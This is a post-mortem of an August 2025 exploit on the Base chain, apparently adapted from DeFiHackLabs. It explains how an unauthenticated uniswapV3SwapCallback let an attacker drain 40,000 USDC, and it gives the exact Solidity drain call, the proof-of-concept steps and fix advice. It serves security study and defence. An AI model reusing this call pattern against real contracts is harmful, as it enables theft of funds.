Reproduced Exploit

BaseCallback `0x8d2e…` Exploit — Unauthenticated `uniswapV3SwapCallback` Self-Transfer

Unlike Q12 (approval transferFrom drain), this victim held the USDC itself. Its uniswapV3SwapCallback accepts a call from any msg.sender and, for amount0Delta > 0, does:

Aug 2025Baseaccess-control2 min read

Loss

40,000 USDC (~$40K) held by the vulnerable contract

Chain

Base

Category

access-control

Date

Aug 2025

Source

DeFiHackLabs

Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2025-08-BaseCallback0x8d2e_exp in the evm-hack-registry mirror. Upstream DeFiHackLabs PoC: src/test/…/BaseCallback0x8d2e_exp.sol.


Vulnerability classes: vuln/access-control/missing-auth

Reproduction: isolated Foundry project at this project folder. Verbose run: output.txt.


Key info#

Loss40,000 USDC (~$40K) held by the vulnerable contract
Vulnerable contract0x8d2Ef0d39A438C3601112AE21701819E13c41288 (0x8d2e…)
TokenBase USDC 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913
Attacker EOA0x4EfD5F0749b1b91AFDcD2ECf464210db733150e0
Attacker contract0x2A59Ac31C58327EFCbF83Cc5A52fAE1b24A81440
Attack tx0x6be0c4b5414883a933639c136971026977df4737b061f864a4a04e4bd7f07106
Chain / block / dateBase / 34,459,414 (fork 34,459,413) / ~Aug 21, 2025
Bug classPublic uniswapV3SwapCallback with no pool auth — positive amount0Delta causes token.transfer(recipient, amount) using attacker-controlled data

TL;DR#

Unlike Q12 (approval transferFrom drain), this victim held the USDC itself. Its uniswapV3SwapCallback accepts a call from any msg.sender and, for amount0Delta > 0, does:

TEXT
(token, recipient) = abi.decode(data, (address, address));
IERC20(token).transfer(recipient, uint256(amount0Delta));

The live attacker (via a helper contract) simply called:

SOLIDITY
vuln.uniswapV3SwapCallback(
    40_000e6,
    0,
    abi.encode(USDC, attackContract)
);

No pool spoofing, no prior approval, no flash loan — pure missing access control on the callback.


Attack steps (PoC)#

  1. Fork Base at 34459414 - 1.
  2. Read USDC.balanceOf(vuln) → 40,000e6.
  3. Call uniswapV3SwapCallback(bal, 0, abi.encode(USDC, address(this))).
  4. Receive full 40,000 USDC.

Fix class#

  • Authenticate msg.sender as the canonical Uniswap V3 pool for the in-flight swap.
  • Gate transfers behind an in-swap reentrancy lock set only by the contract’s own entrypoints.
  • Never let callback data freely choose token/recipient for outbound transfers of vault inventory.

Sources#


Sources & further analysis#

Reproductions & code

Alerts & third-party analyses

These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.